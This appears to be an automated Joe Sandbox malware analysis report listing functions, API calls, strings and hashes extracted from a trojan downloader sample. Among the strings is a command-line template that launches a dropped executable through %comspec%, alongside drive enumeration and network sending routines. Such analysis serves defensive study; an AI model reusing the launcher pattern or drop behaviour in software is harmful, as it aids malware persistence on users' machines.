Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID:
API String ID: 3956458805-0
Opcode ID: 284b283459330de0b1143f1684a29cd07a22339025804f57593563af66457d89
Instruction ID: 34cf97d68150feb52ab64e4c1d62c08212747bf40ca63f75f299d91bb9f0c47d
Opcode Fuzzy Hash: 284b283459330de0b1143f1684a29cd07a22339025804f57593563af66457d89
Instruction Fuzzy Hash: 5D313A74A40308EBEB10DBA4CD4ABAFB770EB44704F208529E601772D0D7B96A81CF99

Function 00406000 Relevance: 10.7, APIs: 7, Instructions: 176fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0041A400,00000000,0040BDA2,006A0266,?,0040BDBE,00000000,0040D09C,?), ref: 0040600F
memcpy.NTDLL(?,00000000,00000100), ref: 004060A1
CreateFileW.KERNEL32(0041A630,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004061C5
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 00406227
FlushFileBuffers.KERNEL32(000000FF), ref: 00406233
CloseHandle.KERNEL32(000000FF), ref: 0040623D
LeaveCriticalSection.KERNEL32(0041A400,?,?,?,?,?,?,0040BDBE,00000000,0040D09C,?), ref: 00406248

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID:
API String ID: 1457358591-0
Opcode ID: 7d39a30a029986bca7bb4f0c5866fafd33a6f5de3b8d974b21aec683df7cdf74
Instruction ID: 2241f90cca7a27a2546e95c76b2552fd8efe4d50fa40d22b7b041634b3385480
Opcode Fuzzy Hash: 7d39a30a029986bca7bb4f0c5866fafd33a6f5de3b8d974b21aec683df7cdf74
Instruction Fuzzy Hash: 4271CFB4E002099BCB04CF94D985FEFB7B1AB48304F14857DE505BB382D779A951CBA6

Function 0040E6F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E7AC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E7FB
SysFreeString.OLEAUT32(00000000), ref: 0040E80F
SysFreeString.OLEAUT32(00000000), ref: 0040E827

Strings

deviceType, xrefs: 0040E7B6
device, xrefs: 0040E7A3

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 566d6412d8e9607f6d1003a374969e2899c9cbeba23211f1a4d6a59564ece201
Instruction ID: 7a529818069a58d4d2ae4584624926d6a8b7ee91a4ee1179ae14f9cec19009dd
Opcode Fuzzy Hash: 566d6412d8e9607f6d1003a374969e2899c9cbeba23211f1a4d6a59564ece201
Instruction Fuzzy Hash: FC412AB5A0020ADFCB04DF99C884BAFB7B9FF48304F108569E515A7390D778AE85CB94

Function 0040E590 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E64C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E69B
SysFreeString.OLEAUT32(00000000), ref: 0040E6AF
SysFreeString.OLEAUT32(00000000), ref: 0040E6C7

Strings

service, xrefs: 0040E643
serviceType, xrefs: 0040E656

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 4e76592112a6a420ff5714064f2ae1a029c18f39b0799c1555199cf660da6998
Instruction ID: 0dd75c4ae2219cb0414d4c222623d171442623ab9389109279868d9d6e555a3a
Opcode Fuzzy Hash: 4e76592112a6a420ff5714064f2ae1a029c18f39b0799c1555199cf660da6998
Instruction Fuzzy Hash: FA413C74A0020ADFCB04CF99D884BAFB7B5BF58304F508969E505A7390D779EA91CF94

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: f3ad203a95010958b8c1f3f107c3da268ef795d58a7c48103c0b3f0c6d45af56
Instruction ID: 37460acbf0a505b6a9388cec97320328f7083b01a8d1f88c89259c7d7d106706
Opcode Fuzzy Hash: f3ad203a95010958b8c1f3f107c3da268ef795d58a7c48103c0b3f0c6d45af56
Instruction Fuzzy Hash: A031E172200315ABC710AFB5ED8CAD7B7A8FF44324F04463EF58AD3280DB79A4449B99

Function 00406400 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040640B
CoCreateInstance.OLE32(00412920,00000000,00000001,00412900,?), ref: 00406423
wsprintfW.USER32 ref: 00406456

Strings

Gh@, xrefs: 00406472, 00406475
/c start %s & start %s\VolMgrSvc.exe, xrefs: 0040644A
%comspec%, xrefs: 0040645F

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %comspec%$/c start %s & start %s\VolMgrSvc.exe$Gh@
API String ID: 2038452267-1176807594
Opcode ID: 453316c8e6568e69a2546e2d17e52215310be9e24d50f63276e7ec173b6e4f87
Instruction ID: 2c6fb4a3d0a1bb960828f31a0de6db084021911c18f79e55e776afc792a10ffb
Opcode Fuzzy Hash: 453316c8e6568e69a2546e2d17e52215310be9e24d50f63276e7ec173b6e4f87
Instruction Fuzzy Hash: 1931C975A40208EFCB04DF98D885FDEB7B5EF88704F208199E519A73A5CB74AE81CB54

Function 0040E731 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E7AC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E7FB
SysFreeString.OLEAUT32(00000000), ref: 0040E80F
SysFreeString.OLEAUT32(00000000), ref: 0040E827

Strings

deviceType, xrefs: 0040E7B6
device, xrefs: 0040E7A3

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 438aa6f8a1e56f1ba1290af2e787a3c8fe9300d957a7e67b1fd036078c6987af
Instruction ID: 0e4cd8c02c4e5e279ec4fd0352b83bc081febda0d06dc7f405a75fcd32bf7d71
Opcode Fuzzy Hash: 438aa6f8a1e56f1ba1290af2e787a3c8fe9300d957a7e67b1fd036078c6987af
Instruction Fuzzy Hash: AF3109B1E0020ADFCB04DF99D884BAFB7B5EF88304F108569E514A7390D778AA85CB94

Function 0040E5D1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E64C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E69B
SysFreeString.OLEAUT32(00000000), ref: 0040E6AF
SysFreeString.OLEAUT32(00000000), ref: 0040E6C7

Strings

service, xrefs: 0040E643
serviceType, xrefs: 0040E656

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: fc8eedfaf3eb06c849d6c627dcf627ee8089590ee6ebef9678790b2faf78124f
Instruction ID: dde9dd1fd58b67a95de0ca68c0f21478634a56bbec0f0045ca3d2b9f6da46dfd
Opcode Fuzzy Hash: fc8eedfaf3eb06c849d6c627dcf627ee8089590ee6ebef9678790b2faf78124f
Instruction Fuzzy Hash: 4F312D70A0010ADFCB04CF96D884BEFB7B5BF58304F508969E515A7390D7799991CF94

Function 004073B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00407434
Sleep.KERNEL32(000003E8), ref: 00407463
wsprintfA.USER32 ref: 0040748E
DeleteUrlCacheEntry.WININET(?), ref: 0040749E
Sleep.KERNEL32(000DBBA0), ref: 004074E6

Strings

%s%s, xrefs: 00407482

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: b1bb112d4c90ed658366957cc38dd4aa79e2f5495822f89f5b4a7354217b67c4
Instruction ID: 9050299abbe0a346d3081233791c3133021d614aeebffb5e53434d9287984c88
Opcode Fuzzy Hash: b1bb112d4c90ed658366957cc38dd4aa79e2f5495822f89f5b4a7354217b67c4
Instruction Fuzzy Hash: 30310DB4C00218DFCB50DF95DC88BEDBBB4FB48304F1085AAE609B6290D7795A84CF5A

Function 00406340 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00406346
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406394
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 004063C1
RegCloseKey.ADVAPI32(?), ref: 004063DE

Strings

NoDrives, xrefs: 004063B8
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00406387

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 46903cfc04ebe2d267c9076d905ed80b260209c2cd6c3f03203de3a9be594a56
Instruction ID: 85ff322c7a95afac5eb7bad71570108e7de378f82f6edd769b1cbb34207a952c
Opcode Fuzzy Hash: 46903cfc04ebe2d267c9076d905ed80b260209c2cd6c3f03203de3a9be594a56
Instruction Fuzzy Hash: 7F11D071E40209DBDB10CFD0D946BEEBBB4FB08704F108159E915B7280D7B8A655CF95

Function 0040D610 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D634

Part of subcall function 0040D700: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040D740
Part of subcall function 0040D700: CloseHandle.KERNEL32(?), ref: 0040D759

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D68F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D6CC
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D6D7
DuplicateHandle.KERNEL32(00000000), ref: 0040D6DE
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D6F2

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: df6a6ebe43e350ee9e2e3ef0cc0677f8426168fd7d8f62afba8d156cc08b655c
Instruction ID: f472e5e68ab63b0dd33345cd9092821366bebf82f5afbdb011aebb5a24a45ce9
Opcode Fuzzy Hash: df6a6ebe43e350ee9e2e3ef0cc0677f8426168fd7d8f62afba8d156cc08b655c
Instruction Fuzzy Hash: 5D310A74A00208EFDB04DF98D889B9EBBB5FF49308F0085A9E905A7390D775EA95CF54

Function 00409360 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040936D
_aullshr.NTDLL ref: 0040937E
_allshl.NTDLL ref: 004093A0
_aullshr.NTDLL ref: 004093BC
_allshl.NTDLL ref: 004093DE
_aullshr.NTDLL ref: 004093FA

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 9155782f3457772601139595953a0e4fee1c65b8433155f9dc873cd430b809bd
Instruction ID: 0b1db91c5ce03941f8675f6ecb7f2ec56fce17a7f2d6269111b0fb586e4650a4
Opcode Fuzzy Hash: 9155782f3457772601139595953a0e4fee1c65b8433155f9dc873cd430b809bd
Instruction Fuzzy Hash: 27111F326005186B8B10EF9EC48268ABBD6EF84361B15C136FC2CDF359D634E9414BD4

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 7072d3894e9b5df0fcc29a717805562125ff7a0b34c599f89603ca4f9de7a5ac
Instruction ID: 1b6d4435c5f8e1f149c0fb86e6a0c1a3006a9f031597685944d6c13f048a50c8
Opcode Fuzzy Hash: 7072d3894e9b5df0fcc29a717805562125ff7a0b34c599f89603ca4f9de7a5ac
Instruction Fuzzy Hash: E931B2362083009BC710DF69D884A9BBBF4AFC9714F04457EFD9897381D6349914C7AB

Function 00406F70 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,00407ECD), ref: 00406F78
SysAllocString.OLEAUT32(C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe), ref: 00406F83
CoUninitialize.OLE32 ref: 00406FA8

Part of subcall function 00406FC0: SysFreeString.OLEAUT32(00000000), ref: 004071D8

SysFreeString.OLEAUT32(00000000), ref: 00406FA2

Strings

C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe, xrefs: 00406F7E

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe
API String ID: 459949847-3893178018
Opcode ID: aac59f4c634c6c7e69739dc525912ddcdb212d49f49b460d16b2d8434ec6ae87
Instruction ID: c509d36c12d7ba2a5f650eb278e956dc9bc0801d495f3ab7a1e1adcf34b7a620
Opcode Fuzzy Hash: aac59f4c634c6c7e69739dc525912ddcdb212d49f49b460d16b2d8434ec6ae87
Instruction Fuzzy Hash: 57E0DFB4941308FBCB00EBE0EE0EB8D7738EB04315F004078F90267291DABA9E90CB19

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: 465430f324d41f9d9d9732ee1befa355f4717a0d242bba6110d7f62502904e98
Instruction ID: 9f2c4cc69d55b471d510ac50d158e14e0eacb849a4393371b11790265c13a883
Opcode Fuzzy Hash: 465430f324d41f9d9d9732ee1befa355f4717a0d242bba6110d7f62502904e98
Instruction Fuzzy Hash: 5841D175604B02ABC714DB38D848797F3A4BF84310F18823EE86D933D1E739A855CB99

Function 0040B030 Relevance: 7.6, APIs: 5, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(0041AC50,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040B0C8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040B0E9
FlushFileBuffers.KERNEL32(000000FF), ref: 0040B0F3
CloseHandle.KERNEL32(000000FF), ref: 0040B0FD
InterlockedExchange.KERNEL32(00419828,0000003D), ref: 0040B10A

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID:
API String ID: 442028454-0
Opcode ID: 5693974f53a6f553ee872c1498f347a7cdbd554753dda3213ec7bc77a9e739f7
Instruction ID: 65abf3b26d1f33ce57344cf3d4c90c2ddc2d392c326f45743aae56010b0155a0
Opcode Fuzzy Hash: 5693974f53a6f553ee872c1498f347a7cdbd554753dda3213ec7bc77a9e739f7
Instruction Fuzzy Hash: D33149B8A40208EBCB14DF94EC45FAEB7B1FB48300F208569E511A7391D775AA51CB9A

Function 00408F40 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 00408F4E
_allshl.NTDLL ref: 00408F5D
_allshl.NTDLL ref: 00408F6C
_allshl.NTDLL ref: 00408F7B
_allshl.NTDLL ref: 00408F8A

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: e97f6b688e4649d03a543f53d1e87ffd622cab317a47a1f81aa90ba96deec30e
Instruction ID: b0d0b2528f3aca05c18ea064ccca22ed782aa92eb9f3aacb3aeadda2a23aac7b
Opcode Fuzzy Hash: e97f6b688e4649d03a543f53d1e87ffd622cab317a47a1f81aa90ba96deec30e
Instruction Fuzzy Hash: 92F01272A01414979B14EEFE84424CAF7E59F88374B218176FD1CE3260E570B90546F1

Function 00401330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401352
CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 0040135C

Part of subcall function 0040A660: HeapFree.KERNEL32(00000000,00000000,00402612,?,00402612,?), ref: 0040A6BB

Strings

pdu, xrefs: 00401339

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: 2fd66f5c1125709e912b082e2c73e8d5efb2a89a668c62a8ecc72b7ea0d0f82b
Instruction ID: 49315f9b5d193dc364c5f28f0bcb7aa8bb44b0403a6660fc991bd28791f727bd
Opcode Fuzzy Hash: 2fd66f5c1125709e912b082e2c73e8d5efb2a89a668c62a8ecc72b7ea0d0f82b
Instruction Fuzzy Hash: A901D6B65003009BCB209F61ECC4D9B7778AF48310708467AFC05AB396CA39E8508775

Function 004062C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(0040629F), ref: 004062CD
QueryDosDeviceW.KERNEL32(0040629F,?,00000208), ref: 0040630C
